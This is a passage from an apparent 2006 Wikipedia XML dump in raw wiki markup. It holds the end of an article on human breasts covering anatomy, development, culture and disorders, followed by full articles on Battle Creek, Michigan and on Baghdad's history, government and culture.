Others believe that the human breast evolved in order to prevent infants from suffocating while feeding&lt;sup&gt;[http://www.breastfeeding.com/reading_room/breasts_shaped_babies.html]&lt;/sup&gt;. Since human infants do not have a protruding [[jaw]] like our ancestors and the other [[primate|primates]], the infant's [[nose]] might be blocked by a flat female chest while feeding. According to this theory, as the human jaw became recessed, so the breasts became larger to compensate.

==Size, shape and composition==
[[Image:Breasts4.jpg|thumb|230px|right|[[Human]] [[female]] breasts]]
Most of the human female breast is actually [[adipose tissue]] ([[fat]]) and [[connective tissue]], rather than the mammary glands. There is naturally a great variety in the size and shape of breasts in women (and men), with size being affected by various factors including [[genetics]].

{| width=&quot;150px&quot; style=&quot;float: left; margin: 0 0 1em 1em;&quot;
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|[[Image:Breasts1205.jpg|120px]]
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|[[Image:Breasts1.jpg|120px|]]
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|[[Image:Breastsincontext.jpg|120px|]]
|-
|[[Image:Weibliche-brust.jpg|120px|]]

|}

The primary anatomical support for the breasts is thought to be provided by the [[Cooper's ligaments]], with additional support from the [[skin]] covering the breasts themselves, and it is this support which determines the shape of the breasts. The breasts naturally sag through [[ageing]], as the [[ligaments]] become elongated. This process may be accelerated by high impact [[exercise]]s, and a [[brassiere]] may reduce this effect by providing external support, although the health benefits of wearing of a brassiere are not universally accepted. Sagging breasts ([[ptosis]]) are considered undesirable by some, and some older women seek [[cosmetic surgery]] to raise their busts.

As breasts are mostly composed of adipose tissue, their size can change over time if the woman gains or loses [[human weight|weight]].  It is also typical for them to grow in size during [[pregnancy]] and whilst [[breastfeeding]], mainly due to [[hypertrophy]] of the mammary gland in response to the [[hormone]] [[prolactin]]. The size of a woman's breasts usually fluctuates during the [[menstrual cycle]], particularly with [[premenstrual water retention]]. An increase in breast size is also a common [[side effect]] of use of the [[contraceptive pill]].

There is no relationship between breast size and ability to [[breastfeed]], and it is a common misconception that human female breasts are shaped the way they are so that they can feed babies by producing milk. Their shape is thought to have [[human evolution|evolved]] due to [[sexual attraction]], as described above.

The size of a woman's breasts is typically expressed as a &quot;[[Brassiere#Bra sizes|bra size]]&quot;.  According to the results of the &quot;Size UK&quot; survey &lt;sup&gt;[http://www.sizeuk.org/]&lt;/sup&gt;, the average bra size in the UK has increased from a 34B in the 1950s to a 36C today, and the average size for [[United States| U.S.]] women is a 34B as of [[2005]] by the [[U.S. Department of Health and Human Services|CDC]]. Women with exceptionally large breasts may experience [[back pain]], whilst in some [[Western world|Western societies]] there is a belief amongst some that small breasts make a woman less [[breast fetishism|sexually attractive]]. Some women suffer from insecurity about their breasts, and in some cultures a number of women who are unhappy with their size seek [[surgery]] either to artificially [[breast reduction|reduce]] or [[breast enlargement|enlarge]] their breasts.  The American Society for Aesthetic Plastic Surgery found that 334,052 breast augmentation procedures were performed in 2004 [http://www.cosmeticplasticsurgerystatistics.com/statistics.html#2004-HIGHLIGHTS].  Some women undergo [[breast reconstruction]] after [[mastectomy]] for [[breast cancer]], a result of the high value placed on [[symmetry]] of the female human form in those  cultures, and because women often identify their femininity and sense of self with their breasts.

It is typical for a woman's breasts to be unequal in size (statistically it is slightly more common for the left breast to be the larger), particularly whilst the breasts are developing during [[puberty]]. In some rare cases, one breast may be greatly larger or smaller than the other, or fail to develop entirely.

==Development==
The development of a woman's breasts, during [[puberty]], is caused by [[sex hormone]]s, chiefly [[estrogen]].  This hormone has been demonstrated to cause the development of woman-like, enlarged breasts in men, a condition called [[gynecomastia]], and is sometimes used deliberately for this effect in [[transwomen| male-to-female]] [[sex reassignment surgery]].

A vast number of medical conditions are known to cause abnormal development of the breasts during puberty. [[Virginal breast hypertrophy]] is a condition which involves excessive growth of the breasts during puberty, and in some cases the continued growth beyond the usual pubescent age. Breast [[hypoplasia]] is a condition where one or both breasts fail to develop during puberty.

The orb-like shape of breasts help limit heatloss, as a fairly high temperature is required for the production of milk.

==Terminology==
{{wiktionarypar|breast}}
:''For [[slang]] terms for the breasts, see [[Wiktionary:WikiSaurus:breasts|WikiSaurus:breasts]]''

A [[brassiere]] (from French, lit: arm-holder) or ''bra'' is an item of women's [[Undergarment|underwear]] consisting of two cups that totally or partially cover the breasts for support and [[modesty]]. 

Being ''[[topless]]'' is the state of having bare breasts.

==Cultural status==
[[Image:Manet, Edouard - Blonde Woman with Bare Breasts.jpg|thumb| [[Edouard Manet]], ''&quot;Blonde Woman with Bare Breasts&quot;'']]
Historically, breasts were regarded as [[fertility]] symbols, due to the belief that milk is life-giving. Ancient statues of goddesses&amp;mdash;so-called [[Venus figurines]]&amp;mdash;often emphasised the breasts, as in the example of the [[Venus of Willendorf]]. In historic times, goddesses such as [[Ishtar]] were shown with multiple breasts, alluding to their role as goddesses of childbirth.

Breasts are considered as secondary sex characteristics, and are sexually sensitive in many cases. Bare female breasts can elicit heightened sexual desires from men and women. Since they are associated with sex, in many cultures bare breasts are considered indecent, and they are not commonly displayed in public, in contrast to male chests. Other cultures view the baring of breasts as acceptable, and in some countries women have never been forbidden to bare their chests. Opinions on the exposure of breasts is often dependent on the place and context, and in some [[Western World|Western societies]], exposure of breasts on a beach may be considered acceptable, although in town centres, for example, it is usually considered indecent.  In some areas, the prohibition against the display of a woman's breasts generally only restricts exposure of the [[nipples]].

Certain types of work may also require that a woman expose her breasts, and in these contexts it is considered acceptable even if it would not be in another context.  Female university students working as [[Model (art)|art models]] for [[fine arts]] classes generally have to work bare breasted.  [[Actresses]] sometimes need to go bare breasted for particular scenes.  Many women have bared their breasts on the Internet, and such displays are generally considered legal and acceptable.

In some cases, their display may be interpreted as indecent or sexual, even when they are being used for their primary purpose of nursing offspring. This has led, in several cases, to women being arrested for [[indecent exposure]] for [[breastfeeding]] their children in public.

Women in some areas and cultures are approaching the issue of breast exposure as one of [[sexual equality]], since men (and pre-pubescent children) may bare their [[chest]]s, but women and teenage girls are forbidden. In the [[United States]], the [[Topfree]] equality movement seeks to redress this imbalance; this movement has won a decision in [[1992]] in a [[New York (state)|New York]] Court of Appeals which seems to substantially support their assertions.  A similar movement succeeded in most parts of [[Canada]] in the [[1990s]]. In [[Australia]] it is acceptable for women and teenage girls to sunbathe topless on some public beaches, but these are generally the only public areas where exposing breasts is acceptable.

In some religions, breasts must always remain covered for, for example: Certain denominations of [[Christianity]] and [[Islam]] forbid public exposure of the female breasts except when [[breastfeeding]].

In addition to the above references, see also [[modesty]], [[nudism]] and [[exhibitionism]].

===Cultural Status in Ancient history===

In ancient paintings women are sometimes shown with their breasts in their hands on in a platter.  This signifies that they died as a martyr by having their breasts severed.  One example of this is [[Saint Agatha]].

==Disorders of the breasts==
===Infections and inflammations===
[[Image:Grudi.jpg|thumb|200px|A 1930 Soviet poster promoting breast care.]]
*[[Mastitis]]
** [[bacterial mastitis]]
** [[mastitis from milk engorgement]]
** [[mastitis of mumps]]
** [[subareolar mastitis]]

*Other infections
** [[chronic intramammary abscess]]
** [[chronic subareolar abscess]]
** [[tuberculosis of the breast]]
** [[syphilis of the breast]]
** [[retromammary abscess]]
** [[actinomycosis of the breast]]

*Inflammations
** [[Mondor's disease]]
** [[duct ectasia]]/[[periductal masbreastis]]
** [[Breast engorgement]]

===Benign breast disease===
*[[Congenital disorder]]s
** [[inverted nipple]]
** [[supernumerary nipples]]/[[supernumerary breasts]]

*Aberrations of normal development and involution
** [[fibroadenomatosis]]
** [[cyclical nodularity]]
** [[cyst]]s
** [[fibroadenoma]] - benign tumor

*[[Duct ectasia]]/[[Periductal masbreastis]]
** [[nipple discharge]]
** [[abscesses]]
** [[mammary fistula]]

*[[Epithelial hyperplasia]]

*[[Pregnancy]]-related
** [[galactocoele]]
** [[puerperal abscess]]

===Malignant breast disease===
* [[Breast cancer]] (mammary carcinoma)
* [[Carcinoma in situ]]
* Paget's disease of the nipple, also known as [[Paget's disease of the breast]]

==See also==
*[[Breastfeeding]]
*[[Breast fetishism]]
*[[Breast implant]]
*[[Breast reconstruction]]
*[[Gynecomastia]]
*[[intimate parts]]
*[[Topfree equality]]
*[[Mammary intercourse]]	 
*[[Puberty]]

== External links ==
{{commonscat|Breasts}}
*[http://www.puberty101.com/p_stages_breasts.shtml Stages of breast development, from Puberty101]
*[http://www.007b.com/ 007 Breasts] — a website promoting the view that breasts should not be considered sexual

[[Category:Breast|*]]
[[Category:Integumentary system]]
[[Category:Secondary sexual characteristics]]

[[ar:ثدي]]
[[cs:Prs]]
[[da:Bryst]]
[[de:Weibliche Brüste]]
[[es:Pecho]]
[[eo:Mamo]]
[[fr:Sein]]
[[io:Mamo]]
[[ilo:Suso]]
[[it:Mammella]]
[[he:שד (איבר)]]
[[lt:Krūtis]]
[[ln:Ntólo]]
[[nl:Borst]]
[[ja:乳房]]
[[pl:Sutek]]
[[pt:Seios]]
[[sk:Prsná žľaza]]
[[simple:Breast]]
[[fi:Rinnat]]
[[sv:Bröst]]
[[th:เต้านม]]
[[zh:乳房]]
[[pam:Susu]]</text>
    </revision>
  </page>
  <page>
    <title>Battle Creek, Michigan</title>
    <id>4491</id>
    <revision>
      <id>41080345</id>
      <timestamp>2006-02-24T22:49:35Z</timestamp>
      <contributor>
        <username>Bkonrad</username>
        <id>44062</id>
      </contributor>
      <comment>rm what appears to be self-promtional links (improperly placed as well)</comment>
      <text xml:space="preserve">{{Infobox City | 
official_name = Battle Creek, Michigan | 
nickname = The Cereal City |
image_map =  MIMap-doton-BattleCreek.PNG | 
map_caption = Location of Battle Creek within [[Michigan]] | 
subdivision_type = [[Counties of the United States|Counties]] | 
subdivision_name = [[Calhoun County, Michigan|Calhoun County]] |
leader_title = [[Mayor]] | 
leader_name = John Godfrey |
area_magnitude = 1 E9 | 
area_total = 43.7 mi&amp;sup2; / 113.1 | 
area_land =  42.8 mi&amp;sup2; / 110.9 | 
area_water = 0.8 mi&amp;sup2; /  2.2 |
population_as_of = 2000 | 
population_total = 53,364 ([[city limits|city proper]]) | 
population_density = 1,246.0 mi&amp;sup2; / 481.1 | 
timezone = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset = -5 | 
timezone_DST = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset_DST = -4 |
website = [http://ci.battle-creek.mi.us ci.battle-creek.mi.us] | 
footnotes = 
}}
{{Redirect|Battle Creek}}
'''Battle Creek''' is a city in the [[U.S. state]] of [[Michigan]], in northwest [[Calhoun County, Michigan|Calhoun County]].  As of the [[United States 2000 Census|2000 census]], the city had a total population of 53,364.

It is the world headquarters of [[Kellogg Company]] (cereal), manufacturer of [[corn flakes]] and other breakfast cereals. It is also the home of [[Post Cereals]], which was part of [[General Foods Corporation]] and is now part of [[Kraft Foods]]. 

Battle Creek was featured in the [[T.C. Boyle]] [[the novel|novel]] ''[[The Road to Wellville]]'' and the movie of the same name.  

== Geography ==
According to the [[United States Census Bureau]], the city has a total area of 113.1 [[square kilometre|km&amp;sup2;]] (43.7 [[square mile|mi&amp;sup2;]]).  110.9 km&amp;sup2; (42.8 mi&amp;sup2;) of it is land and 2.2 km&amp;sup2; (0.8 mi&amp;sup2;) of it is water.  The total area is 1.92% water.

== Demographics ==
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of [[2000]], there are 53,364 people, 21,348 households, and 13,363 families residing in the city.  The [[population density]] is 481.1/km&amp;sup2; (1,246.0/mi&amp;sup2;).  There are 23,525 housing units at an average density of 212.1/km&amp;sup2; (549.3/mi&amp;sup2;).  The racial makeup of the city is 74.65% [[White (U.S. Census)|White]], 17.80% [[African American (U.S. Census)|black or African American]], 1.94% [[Asian (U.S. Census)|Asian]], 0.77% [[Native American (U.S. Census)|Native American]], 0.01% [[Pacific Islander (U.S. Census)|Pacific Islander]], 2.11% from [[Race (U.S. Census)|other races]], and 2.72% from two or more races.  4.64% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 21,348 households out of which 32.3% have children under the age of 18 living with them, 41.9% are [[Marriage|married couples]] living together, 16.1% have a female householder with no husband present, and 37.4% are non-families. 31.6% of all households are made up of individuals and 12.1% have someone living alone who is 65 years of age or older.  The average household size is 2.43 and the average family size is 3.04.

In the city the population is spread out with 27.2% under the age of 18, 8.7% from 18 to 24, 29.5% from 25 to 44, 21.0% from 45 to 64, and 13.5% who are 65 years of age or older.  The median age is 35 years.  For every 100 females there are 91.9 males.  For every 100 females age 18 and over, there are 87.2 males.

The median income for a household in the city is $35,491, and the median income for a family is $43,564. Males have a median income of $36,838 versus $26,429 for females. The [[per capita income]] for the city is $18,424.  14.4% of the population and 10.7% of families are below the [[poverty line]].  Out of the total population, 17.5% of those under the age of 18 and 11.8% of those 65 and older are living below the poverty line.

== Education ==
=== Colleges and universities ===
*[[Kellogg Community College]], a 2-year college founded in 1956.
*[[Miller College]], a 4-year institution which shares KCC's facilities
*[[Western Michigan University|Western Michigan University's]] Battle Creek Branch - The Kendall Center

== Public School Districts==

ʈ Battle Creek Public Schools&lt;br&gt;
ʈ Harper Creek Schools&lt;br&gt;
ʈ Lakeview School District&lt;br&gt;
ʈ Pennfield Schools [http://www.pennfield.k12.mi.us]&lt;br&gt;

=== High schools (Public) ===
*[[Battle Creek Area Mathematics and Science Center]]
*[[Battle Creek Central High School]]
*[[Harper Creek High School]]
*[[Lakeview Alternative Education]]
*[[Lakeview High School]]
*[[Michigan Youth Challenge Academy]]
*[[Operation Graduation]]
*[[Pennfield Senior High School]]

=== High schools (Private) ===
*[[Battle Creek Academy]]
*[[St. Philip Catholic High School]]

=== Primary and middle schools (Public) ===
*[[Harper Creek Junior High School]]
*[[Lakeview Junior High School]]
*[[Pennfield Dunlap Middle School]]
*[[Northwestern Junior High School]]
*[[Southeastern Junior High School]]
*[[Southwestern Junior High School]]
*[[W.K. Kellogg Junior High School]]

*[[Beadle Lake Elementary School]]
*[[Sonoma School]]
*[[Wattles Park Elementary School]]
*[[Westlake Elementary School]]

=== Primary and middle schools (Private) ===
*[[St. Joseph Elementary School]]
*[[St. Philip Elementary/Middle School]]
*[[Battle Creek Christian School]]
*[[Adventurous Beginnings for Children]]

=== Secondary schools ===
*[[Battle Creek Area Mathematics and Science Center]], an accelerated secondary school that focuses primarily on math and science education.

== Points of interest ==
* [[Leila Arboretum]]

== Sports ==
The [[Southwest Michigan Devil Rays]], a Class A [[minor league baseball]] team, affiliated with the [[Tampa Bay Devil Rays]], plays in the [[Midwest League]]. The team was known as the ''Michigan Battle Cats'' until [[2003 in sports|2003]] and as the ''Battle Creek Yankees'' until 2004. The team's home park is [[C.O. Brown Stadium]].  The team is planning to move to [[Midland, MI]] after the 2006 season.

== Transportation ==
Battle Creek is situated on the [[U.S. Highway 12|historic U.S. 12]] route, largely replaced in Michigan by [[Interstate 94]]. 

[[Kalamazoo, Michigan|Kalamazoo's]] [[Kalamazoo-Battle Creek International Airport]] serves Battle Creek. Locally, W.K. Kellogg Airport serves the general aviation needs of the communtiy.  The airport is also home to [[Western Michigan University]]'s College of Aviation and the Michigan [[Air National Guard]]'s 110th Fighter Wing which flies the [[A-10]] and [[O/A-10]] aircraft.

{{start amtrak box}}
{{amtrak one to three | previous=[[Kalamazoo, Michigan]] | route1=[[Michigan Services|The Blue Water]] | route2=[[Michigan Services|The Wolverine]]&lt;br&gt;(#350, #351, #354, #355) | route3=[[Michigan Services|The Wolverine]]&lt;br&gt;(#352, #353) | next1=[[East Lansing, Michigan]] | next2=[[Jackson, Michigan]] | next3=[[Albion, Michigan]]}}
{{end box}}

==Notable persons==
* [[John Harvey Kellogg]], Battle Creek Sanitarium founder, inventor of [[corn flakes]]
* [[Will Keith Kellogg]], founder of [[Kellogg Company]], John Harvey's brother
* [[C. W. Post]], founder of [[Postum Cereal Company]]
* [[Sojourner Truth]], ex-slave and ardent abolitionist
* [[Rob Van Dam]], [[professional wrestler]] with [[WWE]] and [[ECW]]
* [[Jason Newsted]], former [[Metallica]] bassist
* [[Dick Martin]], co-host of the popular comedy-variety show [[Rowan &amp; Martin's Laugh-In]] (1968-1973)
* [[Betty Hutton]], one of the most-original and most-colorful singers in twentieth century American pop music
* [[Marion Hutton]], best-known for her vocals with [[Glenn Miller]]'s orchestra

==External links==
*[http://www.battlecreek.org/ Official website]
{{Geolinks-US-cityscale|42.32|-85.18}}

{{Michigan}}
[[Category:Calhoun County, Michigan]]
[[Category:Cities in Michigan]]

[[de:Battle Creek (Michigan)]]
[[pt:Battle Creek (Michigan)]]
[[simple:Battle Creek (Michigan)]]</text>
    </revision>
  </page>
  <page>
    <title>Baghdad</title>
    <id>4492</id>
    <revision>
      <id>42072856</id>
      <timestamp>2006-03-03T17:09:46Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/158.123.254.78|158.123.254.78]] to last version by Daanschr</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Iraq_map.png|right|frame|Location of Baghdad within Iraq]]

'''Baghdad''' ({{lang-ar|بغداد}}, from [[Persian language|Persian]] بغداد , Baagh-daad meaning &quot;given by God&quot;) is the [[capital]] of [[Iraq]] and of [[Baghdad (province)|Baghdad Province]]. It is the second-largest [[city]] in [[Southwest Asia|south-west Asia]] after [[Tehran]] and the second-largest city in the Arab world after [[Cairo]], with the 2003 population estimated at 5,772,000. Situated on the [[Tigris|Tigris River]] at {{coor dm|33|20|N|44|26|E|}}, the city was once the center of [[Dar al-Islam|Islamic civilization]].

==History==
The city of Baghdad is often said to have been founded on the west bank of the Tigris on [[30 July]] [[762]] by the [[Abbasid|Abbasid dynasty]], led by [[caliph]] [[al-Mansur]]; however, the city of Baghdad is mentioned in pre-Islamic texts, including the [[Talmud]]. Thus Baghdad was probably built on the site of this earlier [[Persian Empire|Persian]] city.  This city replaced [[Ctesiphon]], the capital of the [[Persian Empire]] (which is located 20 miles southeast of Baghdad), and [[Damascus]], as the capital of an [[Umayyad]] [[Islam|Muslim]] empire stretching from [[North Africa]] to [[Iran|Persia]]. The origin of the city's name is most likely from the [[Persian language|Persian]] for &quot;God-given&quot; derived from &quot;bagh&quot; (God) and &quot;dad&quot; (given); so it most likely represented a very beautiful and pleasant city hence the words &quot;given by God&quot;. A minority view believes it to be from an [[Aramaic language|Aramaic]] phrase for &quot;[[domestic sheep|sheep]] enclosure.&quot; The city was designed as a circle about 2 kilometers in diameter, leading it to be known as the &quot;Round City&quot;. The original design ([http://islamicceramics.ashmol.ox.ac.uk/Abbasid/baghdad.htm http://islamicceramics.ashmol.ox.ac.uk/Abbasid/baghdad.htm]) shows a ring of residential and commercial structures along the inside of the city walls, but the final construction added another ring, inside the first. In the center of the city lay the mosque, as well as headquarters for guards. The purpose or use of the remaining space in the center is unknown.

The roundness points to the fact that it was based on Persian precedents such as [[Firouzabad]] in [[Iran|Persia]].&lt;small&gt;[[Baghdad#References|1]]&lt;/small&gt; The two designers who were hired by [[al-Mansur]] to plan the city's design were [[Naubakht]], a former [[Persians|Persian]] Zoroastrian who also determined that the date of the foundation of the city would be astrologically auspicious, and [[Mashallah]], a former Jew from [[Khorasan]], [[Iran]].&lt;small&gt;[[Baghdad#References|2]]&lt;/small&gt;

It is believed that Baghdad was the largest city in the world from 775 to 935. It could be the first city with a population above 1,000,000.[http://geography.about.com/library/weekly/aa011201a.htm]
  
===A Center of learning===
Within a generation of its founding, Baghdad became a hub of learning and [[commerce]]. Some sources suggest that it contained over a million inhabitants, though others say the actual figure may have been only a fraction of this. A large portion of the population of Baghdad originated from all over [[Iran]] especially from [[Khorasan]]. Many of the tales in [[The Book of One Thousand and One Nights]] are set in the Baghdad of this period&amp;mdash;dubbed ''Madinat as-Salam'' (&quot;City of Peace&quot;) by [[Shahrazad]]&amp;mdash;and feature its most celebrated ruler, the fifth 'Abbasid caliph [[Harun al-Rashid]]. 

Baghdad was one of the largest and most cosmopolitan cities in the world, home to Muslims, [[Christianity|Christians]], [[Jew]]s and [[paganism|pagan]]s from across the [[Middle East]] and [[Central Asia]].

===Early invaders===
The city's population was between 300,000 and 500,000 in the 9th century. Baghdad's early meteoric growth slowed due to troubles within the Caliphate, including relocations of the capital to [[Samarra]] (during 808&amp;ndash;819 and 836&amp;ndash;892), the loss of the western and easternmost provinces, and periods of political domination by the [[Iran]]ian [[Buwayhid]]s (945&amp;ndash;1055) and [[Seljuk Turks]] (1055&amp;ndash;1135). Nevertheless, the city remained one of the cultural and commercial hubs of the Islamic world until [[February 10]], [[1258]], when it was sacked by the [[Mongols]] under [[Hulagu Khan]]. The Mongols massacred 800,000 of the city's inhabitants, including the Abbasid Caliph [[Al-Musta'sim]], and destroyed large sections of the city. The [[canal]]s and [[dyke (construction)|dykes]] forming the city's [[irrigation]] system were also destroyed. The [[Battle of Baghdad (1258)|sack of Baghdad]] put an end to the Abbasid Caliphate, a blow from which the [[Islamic]] civilization never fully recovered. 

At this point Baghdad was ruled by the [[Il-Khanids]], the [[Mongol]] emperors of [[Iran]]. In 1401, Baghdad was again sacked by the Mongols, led by [[Timur]] (&quot;Tamerlane&quot;). It became a provincial capital controlled by the [[Jalayirid]] (1400&amp;ndash;1411), [[Black Sheep Turkmen|Qara Quyunlu]] (1411&amp;ndash;1469), [[White Sheep Turkmen|Aq Quyunlu]] (1469&amp;ndash;1508), and [[Safavid]] (1508&amp;ndash;1534) dynasties. In 1534, Baghdad was conquered by the [[Ottoman Empire|Ottoman Turks]]. Under the [[Ottoman Empire|Ottomans]], Baghdad fell into a period of decline, partially as a result of the enmity between its rulers and [[Iran|Persia]]. For a time, Baghdad had been the largest city in the [[Middle East]] before being overtaken by [[Constantinople]] in the 16th century.  The [[Nuttall Encyclopedia]] reports the 1907 population of Baghdad as 185,000.

===Independence===
Baghdad remained under [[Ottoman Empire|Ottoman]] rule until the establishment of the kingdom of [[Iraq]] under [[United Kingdom|British]] control in 1921, followed by formal independence in 1932 and full independence in 1946. The city's population grew from an estimated 145,000 in 1900 to 580,000 in 1950 of which 140,000 were [[Jewish]].  During the 1970s Baghdad experienced a period of prosperity and growth because of a sharp increase in the price of [[petroleum]], Iraq's main [[export]]. New [[infrastructure]] including modern [[sewage]], [[water]], and [[highway]] facilities were built during this period. However, the [[Iran-Iraq War]] of the 1980s was a difficult time for the city, as money flowed into the army and thousands of residents were killed. Iran launched a number of [[missile]] attacks against Baghdad, although they caused relatively little damage and few casualties.

===Recent Times===
[[Image:FlyingoverBaghdad12april03.JPG|thumb|250px|Image taken flying over Baghdad on April 12, 2003]]
[[Image:Baghdad-smoke-satellite.jpg|thumb|250px|A satellite [[false-color]] image of Baghdad, taken [[March 31]], [[2003]]. The image shows smoke rising from pools of burning oil spread along &quot;Canal Road&quot; and other locations. Ditches full of oil were created shortly before the war to obscure visibility (black) and vegetation (red).]]
The [[Persian Gulf War]] of 1991 caused severe damage to Baghdad, particularly its transportation, power, and sanitary infrastructure. However, [[President of the United States|President]] [[George H. W. Bush]] decided not to have U.S. troops advance to and capture Baghdad, thus leaving [[Saddam Hussein]] in power - perhaps in part because of the heavy [[civilian]] casualties that would likely have resulted from an attack on the city.  President Bush also wished to avoid a costly occupation.

Baghdad was bombed very heavily in March and April 2003 in the [[2003 invasion of Iraq]], and fell under US control by [[April 7]]-[[April 9]]. Additional damage was caused by the severe [[looting]] during the days following the end of the war.  With the deposition of [[Saddam Hussein]]'s regime, the city was occupied by [[United States Army|U.S. troops]]. The [[Coalition Provisional Authority]] established a three-square-mile (8-km²) &quot;[[Green Zone]]&quot; within the heart of the city from which it ruled Iraq during the period before the new Iraqi government was established. The [[Coalition Provisional Authority]] ceded power to the interim government at the end of June 2004 and dissolved itself.

On [[September 23]], [[2003]], a [[Gallup]] poll indicated that about two-thirds of Baghdad residents said that the removal of the Iraqi leader was worth the hardships they encountered, and that they expected a better life in five years' time. As time passed, however, support for the occupation declined dramatically. In April 2004, ''[[USA Today]]'' reported that a follow-up [[Gallup]] poll in Baghdad indicated that &quot;only 13 percent of the people now say the invasion of Iraq was morally justifiable. In the 2003 poll, more than twice that number saw it as the right thing to do.&quot;[http://www.usatoday.com/news/world/iraq/2004-04-28-poll-cover_x.htm]

Most residents of Baghdad became impatient with the occupation because essential services such as [[electricity]] were still unreliable more than a year after the invasion. In the hot summer of 2004, electricity was only available intermittently in most areas of the city. An additional pressing concern was the lack of security. The [[curfew]] imposed immediately after the invasion had been lifted in the winter of 2003, but the city that had once had a vibrant [[night life]] was still considered too dangerous after dark for many citizens. Those dangers included [[kidnapping]], [[sexual assault]] and the risk of being caught in fighting between security forces and [[insurgent|insurgents]].

==Government==
The City of Baghdad has 89 official neighborhoods within 9 districts. These official subdivisions of the city served as administrative centers for the delivery of municipal services but until 2003 had no political function.  Beginning in April 2003, the U.S. controlled Coalition Provisional Authority (CPA) began the process of creating democratic local government institutions. The process initially focused on the election of neighborhood councils in the official neighborhoods, elected by neighborhood caucuses. CPA convened a series of meetings in each neighborhood to explain local government, to describe the caucus election process and to encourage participants to spread the word and bring friends, relatives and neighbors to subsequent meetings. Each neighborhood process ultimately ended with a final meeting where candidates for the new neighborhood councils identified themselves and asked their neighbors to vote for them. Once all 88 (later increased to 89) neighborhood councils were in place, each neighborhood council elected representatives from among their members to serve on one of the city's nine district councils. The number of neighborhood representatives on a district council is based upon the neighborhood’s population. The next step was to have each of the nine district councils elect representatives from their membership to serve on the 37 member Baghdad City Council. This three tier system of local government connected the people of Baghdad to the central government through their representatives from the neighborhood, through the district, and up to the city council.

The same process was used to provide representative councils for the other communities in Baghdad Province outside of the   City itself. There, local councils were elected from 20 neighborhoods (Nahia) and these councils elected representatives from their members to serve on six district councils (Qada). As within the City, the district councils then elected representatives from among their members to serve on the 35 member Baghdad Regional Council. 

The final step in the establishment of the system of local government for Baghdad Province was the election of the Baghdad  Provincial Council. As before, the representatives to the Provincial Council were elected by their peers from the lower councils in numbers proportional to the population of the districts they represent. The 41 member Provincial Council took office in February, 2004 and served until National elections held in January 2005, when a new Provincial Council was elected.

This system of 127 separate councils may seem overly cumbersome but Baghdad Province is home to approximately seven million people. at the lowest level, the neighborhood councils, each council represents an average of 74,000 people.

==Geography==
[[Image:Bagdad-sat.JPG|220px|thumb|A satellite image of Baghdad.]]
[[Image:ClimateBaghdadIraq.PNG|thumb|right|200px|Average temperature (red) and precipitations (blue) in Baghdad]]
Baghdad sits on the [[Tigris]] River at a point where the Tigris is about 30 [[mile]]s (50 [[kilometre|km]]) from the [[Euphrates|Euphrates River]]. The city is mostly flat, with the western side of the city having wider [[boulevard|boulevards]], more expensive homes and more government buildings. Low-income housing is generally located in the east. 

Although the city itself, with its riverside location, has a number of green spaces, residents often feel the influence of the [[desert]] to the south and west in the form of [[sandstorm|sandstorms]].

Historically Baghdad was of great importance to international trade. [[Commerce]] routes from [[India]], [[Iran|Persia]] and [[Europe]] met at the city. Today, the affluent neighborhood of [[Kerrada]] is Baghdad's business district. Baghdad is still an important node for road, air and train traffic. The city's main [[airport]] is [[Baghdad International Airport]] (formerly Saddam International Airport).

==Culture==
Baghdad has always played an important role in Arab cultural life and has been the home of noted writers, musicians and visual artists.

===Institutions===
Some of the important cultural institutions in the city include:
* [[Iraqi National Orchestra]] &amp;ndash; Rehearsals and performances were briefly interrupted during the [[second Gulf War]], but have since returned to normal.
* [[National Theatre of Iraq]] &amp;ndash; The [[theatre]] was [[looting|looted]] during the [[2003 invasion of Iraq|2003 Invasion of Iraq]], but efforts are underway to restore the theatre. [http://csmonitor.com/2003/0716/p01s04b-woiq.htm]. 

The live [[theatre]] scene received a boost during the 1990s when UN [[sanctions]] limited the import of foreign [[film|films]]. As many as 30 movie theatres were reported to have been converted to live stages, producing a wide range of [[comedy|comedies]] and [[drama|dramatic]] productions.[http://www.commondreams.org/headlines03/0102-04.htm]

Institutions offering cultural education in Baghdad include the [[Academy of Music]], [[Institute of Fine Arts]] and the [[Music and Ballet School]]. Baghdad is also home to a number of [[museum|museums]] which housed [[artifacts]] and relics of [[Ancient civilization|ancient civilizations]]; many of these were stolen, and the museums looted, during the widespread chaos immediately after [[United States|U.S.]] forces entered the city.

During the [[2003 occupation of Iraq]], [[AFN Iraq]] (&quot;Freedom Radio&quot;) broadcast news and entertainment within Baghdad, among other locations.

===Sights and monuments===
Points of interest include the [[National Museum of Iraq]], whose priceless collection of artifacts was looted during the 2003 invasion, the iconic [[Hands of Victory]] arches, and the [[Baghdad zoo]].  Thousands of ancient manuscripts in the National Library were destroyed when the building burnt down during the [[2003 invasion of Iraq]]. The [[Al Khadimiya Mosque]] in the northwest of Baghdad (in [[Kazimain]]) is one of the most important Shi'ite religious buildings in Iraq. It was finished in 1515 and the 7th ([[Musa ibn Jafar al-Kazim]]) and the 9th [[Imam]]s ([[Mohammad al-Taqi]]) were buried here.

One of the oldest buildings is the 12th century or 13th century [[Abbasid Palace]].

==References==

# ''Islam Art and Architecture''. Markus Hattstein, Peter Delius. 2000. p96. ISBN 3-8290-2558-0 
# ''Islamic Science and Engineering''. Donald R. Hill. 1994. p10. ISBN 0-748-60457-X

==See also==
* [[List of places in Iraq]]
* [[Firdus Square]]

==Further reading== 
*[http://fax.libs.uga.edu/DS49x2xW684B/ By Desert Ways to Baghdad], by Louisa Jebb (Mrs. Roland Wilkins), 1908 (1909 ed) ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/DS49x2xW684B/1f/desert_ways_to_baghdad.pdf layered PDF] format)''

*[http://fax.libs.uga.edu/DS49x2xM465D/ A Dweller in Mesopotamia], being the adventures of an official artist in the garden of Eden, by Donald Maxwell, 1921 ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/DS49x2xM465D/1f/dweller_in_mesopotamia.pdf layered PDF] format)''

==External links==
{{commons|Baghdad}}
*[http://www.au.af.mil/au/awc/awcgate/iraq/baghdadmapb.jpg Map of Baghdad]
